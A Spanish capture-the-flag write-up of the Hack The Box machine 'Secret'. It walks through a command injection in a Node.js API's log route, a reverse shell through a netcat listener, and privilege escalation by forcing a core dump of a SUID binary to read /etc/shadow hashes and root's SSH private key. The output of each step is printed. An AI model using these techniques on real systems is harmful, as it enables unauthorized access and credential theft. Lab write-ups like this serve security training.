En Secret obtuvimos acceso por medio de una API, tras analizar el codigo fuente logramos escalar privilegios y acceder tras realizar ‘Command Injection’. Escalamos privilegios tras generar un ‘CoreDump’ que nos permitió acceder por SSH.
Vemos que el sitio web ofrece informacion sobre un software y una API.
En la documentacion vemos las diferentes rutas y respuestas de la API, además encontramos una ‘demo’ bajo la direccion /api.
Se mencionan las rutas:
/api/user/register : recibe valores en formato json, name, email, password para el registro de un usuario.
/api/user/login : email y password son necesarios para que se genére un token de autenticacion JWT.
/api/priv : necesita de un tonken de autenticacion JWT con privilegios de administrador.
API
Codigo Fuente
Además de la informacion de la API tambien encontramos el codigo fuente en un archivo ZIP. Dentro de este encontramos un repositorio y, con git logs vemos la descripción de los cambios hechos desde su creación.
En el ultimo cambio realizado para ‘ver los logs del servidor’ vemos que ejecuta git con el nombre del archivo pasado en file: git log --oneline ${file}. Con esto podríamos ejecutar comandos (Command Injection) en el servidor ya que no tiene algun tipo de filtro. Además se accede por la ruta privada (/priv) que, verifica que el usuario sea theadmin.
Revisando el codigo fuente vemos que la ruta /logs solo verifica que el usuario sea theadmin (private.js) y que el token de autenticacion ha sido creado con el valor de TOKEN_SECRET (verifytoken.js).
//private.js
router.get('/logs',verifytoken,(req,res)=>{constfile=req.query.file;constuserinfo={name:req.user}constname=userinfo.name.name;if(name=='theadmin'){constgetLogs=`git log --oneline ${file}`;exec(getLogs,(err,output)=>{if(err){res.status(500).send(err);return}res.json(output);})}else{res.json({role:{role:"you are normal user",desc:userinfo.name.name}})}})
Como sabemos se esta utilizando el mismo codigo o almenos parte de este en el sitio web de la maquina, enviamos el archivo index.js para verificar el log de este archivo. Tras ello vemos que se muestra la descripcion del ultimo cambio en el archivo.
Como resultado obtuvimos una shell inversa con el usuario dasith y la flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
π ~/htb/secret ❯ nc -lvp 1337listening on [any]1337 ...
connect to [10.10.14.30] from 10.10.11.120 [10.10.11.120]45360bash: cannot set terminal process group (1111): Inappropriate ioctl for device
bash: no job control in this shell
dasith@secret:~/local-web$
dasith@secret:~/local-web$ whoami; id
dasith
uid=1000(dasith)gid=1000(dasith)groups=1000(dasith)dasith@secret:~/local-web$
dasith@secret:~/local-web$ cddasith@secret:~$ ls
local-web
user.txt
dasith@secret:~$ cat user.txt
9ee8bd4de541c76f9f5799c6eb8b868d
dasith@secret:~$
Privesc
Tras realizar una enumeracion de ficheros con permisos SUID encontramos /opt/count.
La ejecucion de dicho fichero aparentemente realiza la lectura del archivo que recibe y cuenta el numero de lineas, caracteres y palabras, tambien, tiene la opcion de guardar el resultado en un archivo. Vemos en este caso el archivo user.txt y u.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
dasith@secret:~$ /opt/count
Enter source file/directory name: /home/dasith/user.txt
/home/dasith/user.txt
Total characters=33Total words=2Total lines=2Save results a file? [y/N]: y
Path: /home/dasith/u.txt
dasith@secret:~$ ls
local-web user.txt u.txt
dasith@secret:~$ cat u.txt
Total characters=33Total words=2Total lines=2dasith@secret:~$
En la carpeta de dicho fichero encontramos lo que parece ser el codigo fuente de acuerdo a las fechas de los archivos. Además vemos un archivo log valgrid.
1
2
3
4
5
6
7
8
9
10
dasith@secret:/opt$ ls -lah
ls -lah
total 56K
drwxr-xr-x 2 root root 4.0K Oct 7 10:06 .
drwxr-xr-x 20 root root 4.0K Oct 7 15:01 ..
-rw-r--r-- 1 root root 3.7K Oct 7 10:01 code.c
-rw-r--r-- 1 root root 16K Oct 7 10:01 .code.c.swp
-rwsr-xr-x 1 root root 18K Oct 7 10:03 count
-rw-r--r-- 1 root root 4.6K Oct 7 10:04 valgrind.log
dasith@secret:/opt$
En el codigo fuente, vemos dos funciones que realizan la lectura y un contador de los archivos, tambien que realiza la lectura de archivos simbolicos y de directorios con sus respectivos permisos. Finalmente la funcion principal que es la encargada de la ejecucion de cada una de las funciones y la entrada de los valores.
//cat code.c
#include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<string.h>#include<dirent.h>#include<sys/prctl.h>#include<sys/types.h>#include<sys/stat.h>#include<linux/limits.h>voiddircount(constchar*path,char*summary){DIR*dir;charfullpath[PATH_MAX];structdirent*ent;structstatfstat;inttot=0,regular_files=0,directories=0,symlinks=0;if((dir=opendir(path))==NULL){printf("\nUnable to open directory.\n");exit(EXIT_FAILURE);}while((ent=readdir(dir))!=NULL){++tot;strncpy(fullpath,path,PATH_MAX-NAME_MAX-1);strcat(fullpath,"/");strncat(fullpath,ent->d_name,strlen(ent->d_name));if(!lstat(fullpath,&fstat)){if(S_ISDIR(fstat.st_mode)){printf("d");++directories;}elseif(S_ISLNK(fstat.st_mode)){printf("l");++symlinks;}elseif(S_ISREG(fstat.st_mode)){printf("-");++regular_files;}elseprintf("?");printf((fstat.st_mode&S_IRUSR)?"r":"-");printf((fstat.st_mode&S_IWUSR)?"w":"-");printf((fstat.st_mode&S_IXUSR)?"x":"-");printf((fstat.st_mode&S_IRGRP)?"r":"-");printf((fstat.st_mode&S_IWGRP)?"w":"-");printf((fstat.st_mode&S_IXGRP)?"x":"-");printf((fstat.st_mode&S_IROTH)?"r":"-");printf((fstat.st_mode&S_IWOTH)?"w":"-");printf((fstat.st_mode&S_IXOTH)?"x":"-");}else{printf("??????????");}printf("\t%s\n",ent->d_name);}closedir(dir);snprintf(summary,4096,"Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n",tot,regular_files,directories,symlinks);printf("\n%s",summary);}voidfilecount(constchar*path,char*summary){FILE*file;charch;intcharacters,words,lines;file=fopen(path,"r");if(file==NULL){printf("\nUnable to open file.\n");printf("Please check if file exists and you have read privilege.\n");exit(EXIT_FAILURE);}characters=words=lines=0;while((ch=fgetc(file))!=EOF){characters++;if(ch=='\n'||ch=='\0')lines++;if(ch==' '||ch=='\t'||ch=='\n'||ch=='\0')words++;}if(characters>0){words++;lines++;}snprintf(summary,256,"Total characters = %d\nTotal words = %d\nTotal lines = %d\n",characters,words,lines);printf("\n%s",summary);}intmain(){charpath[100];intres;structstatpath_s;charsummary[4096];printf("Enter source file/directory name: ");scanf("%99s",path);getchar();stat(path,&path_s);if(S_ISDIR(path_s.st_mode))dircount(path,summary);elsefilecount(path,summary);// drop privs to limit file write
setuid(getuid());// Enable coredump generation
prctl(PR_SET_DUMPABLE,1);printf("Save results a file? [y/N]: ");res=getchar();if(res==121||res==89){printf("Path: ");scanf("%99s",path);FILE*fp=fopen(path,"a");if(fp!=NULL){fputs(summary,fp);fclose(fp);}else{printf("Could not open %s for writing\n",path);}}return0;}
Observamos dos comentarios en el codigo, uno para “limitar la escritura de ficheros” (setuid(getuid())) y otro para el ‘coredump generation’ (prctl(PR_SET_DUMPABLE, 1)) o un volcado de memoria, este último no es más que un registro de memoria de un proceso en un momento especifico, con ello es posible ver toda la informacion: variables, datos, etc., en este caso el archivo que es abierto.
intmain(){charpath[100];intres;structstatpath_s;charsummary[4096];printf("Enter source file/directory name: ");scanf("%99s",path);getchar();stat(path,&path_s);if(S_ISDIR(path_s.st_mode))dircount(path,summary);elsefilecount(path,summary);// drop privs to limit file write
setuid(getuid());// Enable coredump generation
prctl(PR_SET_DUMPABLE,1);printf("Save results a file? [y/N]: ");res=getchar();if(res==121||res==89){printf("Path: ");scanf("%99s",path);FILE*fp=fopen(path,"a");if(fp!=NULL){fputs(summary,fp);fclose(fp);}else{printf("Could not open %s for writing\n",path);}}return0;}
Coredump
Vemos que en ubuntu los coredumps se generan en el directorio /var/crash, tambien, encontramos como generar un coredump utilizando kill -ABRT <pid> ya que estos ‘coredump’ se generan cuando el sistema detecta algo anormal en un proceso, finalmente para la lectura de los archivos .crash es posible mediante la herramienta apport-unpack (1).
Para poder generar un coredump necesitamos dos terminales, una que ejecute el fichero count y otra que mata el proceso, seguramente cuando pregunte por la salida del resultado. Si observamos, en la segunda pestaña encontramos el pid y lo matamos, al revisar la carpeta /var/crash vemos el coredump generado.
1
2
3
4
5
6
7
8
dasith@secret:~$ /opt/count
Enter source file/directory name: /etc/shadow
Total characters=1187Total words=36Total lines=36Save results a file? [y/N]: y
Path: Aborted (core dumped)dasith@secret:~$
dasith@secret:/var/crash$ mkdir /tmp/dump
dasith@secret:/var/crash$ ls
_opt_count.1000.crash
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/dump
dasith@secret:/var/crash$ cd /tmp/dump
dasith@secret:/var/crash$ ls
Architecture
CoreDump
Date
DistroRelease
ExecutablePath
ExecutableTimestamp
ProblemType
ProcCmdline
ProcCwd
ProcEnviron
ProcMaps
ProcStatus
Signal
Uname
UserGroups
dasith@secret:/tmp/dump$
Si bien los archivos son utilizados para ser depurados, al pasar un strings en el archivo CoreDump vemos el contenido del archivo que hemos pasado anteriormente.
dasith@secret:/tmp/dump$ strings CoreDump
[.. snip ..]??????????
Total entries= %d
Regular files= %d
Directories= %d
Symbolic links= %d
Unable to open file.
Please check if file exists and you have read privilege.
Total characters= %d
Total words= %d
Total lines= %d
Enter source file/directory name:
%99s
Save results a file? [y/N]:
Path:
Could not open %s for writing
:*3$"
Path: esults a file? [y/N]: l words = 36
Total lines = 36
tc/shadow
root:$6$/0f5J.S8.u.dA78h$xSyDRhh5Zf18Ha9XNVo5dvPhxnI0i7D/uD8T5FcYgN1FYMQbvkZakMgjgm3bhtS6hgKWBcD/QJqPgQR6cycFj.:18873:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
sys:*:18659:0:99999:7:::
sync:*:18659:0:99999:7:::
[.. snip ..]
sshd:*:18852:0:99999:7:::
systemd-coredump:!!:18852::::::
dasith:$6$RM7seX/Mzkds2S1x$.vkOBt4kRfs/6JRApNqvzZ1zM6W1FK8kNKyoBOVSuZbrdlOw.vPj2D7VC0y0sz2Eg2z5rj.GdK2ApMBFynjmR/:18873:0:99999:7:::
lxd:!:18852::::::
mongodb:!:18852:0:99999:7:::
aliases
ethers
group
[.. snip ..]
dasith@secret:/tmp/dump$
Shell
Si realizamos lo mismo, pero esta vez con el archivo id_rsa de root, obtendriamos acceso a la clave privada SSH.
dasith@secret:/tmp/dump$ cd /tmp/dump
[.. snip ..]Total entries= %d
Regular files= %d
Directories= %d
Symbolic links= %d
Unable to open file.
Please check if file exists and you have read privilege.
Total characters= %d
Total words= %d
Total lines= %d
Enter source file/directory name:
%99s
Save results a file? [y/N]:
Path:
Could not open %s for writing
:*3$"
Path: esults a file? [y/N]: l words = 45
Total lines = 39
oot/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAn6zLlm7QOGGZytUCO3SNpR5vdDfxNzlfkUw4nMw/hFlpRPaKRbi3
KUZsBKygoOvzmhzWYcs413UDJqUMWs+o9Oweq0viwQ1QJmVwzvqFjFNSxzXEVojmoCePw+
7wNrxitkPrmuViWPGQCotBDCZmn4WNbNT0kcsfA+b4xB+am6tyDthqjfPJngROf0Z26lA1
xw0OmoCdyhvQ3azlbkZZ7EWeTtQ/EYcdYofa8/mbQ+amOb9YaqWGiBai69w0Hzf06lB8cx
[.. snip ..]
RaWN522KKCFg9W06leSBX7HyWL4a7r21aLhglXkeGEf3bH1V4nOE3f+5mU8S1bhleY5hP9
6urLSMt27NdCStYBvTEzhB86nRJr9ezPmQuExZG7ixTfWrmmGeCXGZt7KIyaT5/VZ1W7Pl
xhDYPO15YxLBhWJ0J3G9v6SN/YH3UYj47i4s0zk6JZMnVGTfCwXOxLgL/w5WJMelDW+l3k
fO8ebYddyVz4w9AAAADnJvb3RAbG9jYWxob3N0AQIDBA==
-----END OPENSSH PRIVATE KEY-----
aliases
ethers
[.. snip ..]
.eh_frame_hdr
.eh_frame
.text
.altinstructions
.altinstr_replacement
.comment
dasith@secret:/tmp/dump$
Tras utilizar la clave privada por ssh logramos obtener acceso como root y la flag root.txt.
π ~/htb/secret ❯ ssh -i root root@10.10.11.120
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 22 Nov 2021 06:47:47 AM UTC
System load: 0.08 Processes: 221 Usage of /: 52.5% of 8.79GB Users logged in: 0 Memory usage: 18% IPv4 address for eth0: 10.10.11.120
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Oct 26 15:13:55 2021root@secret:~# whoami; id
root
uid=0(root)gid=0(root)groups=0(root)root@secret:~# ls
root.txt snap
root@secret:~# cat root.txt
bd2691571f51dd767375165b2afb4f2f
root@secret:~#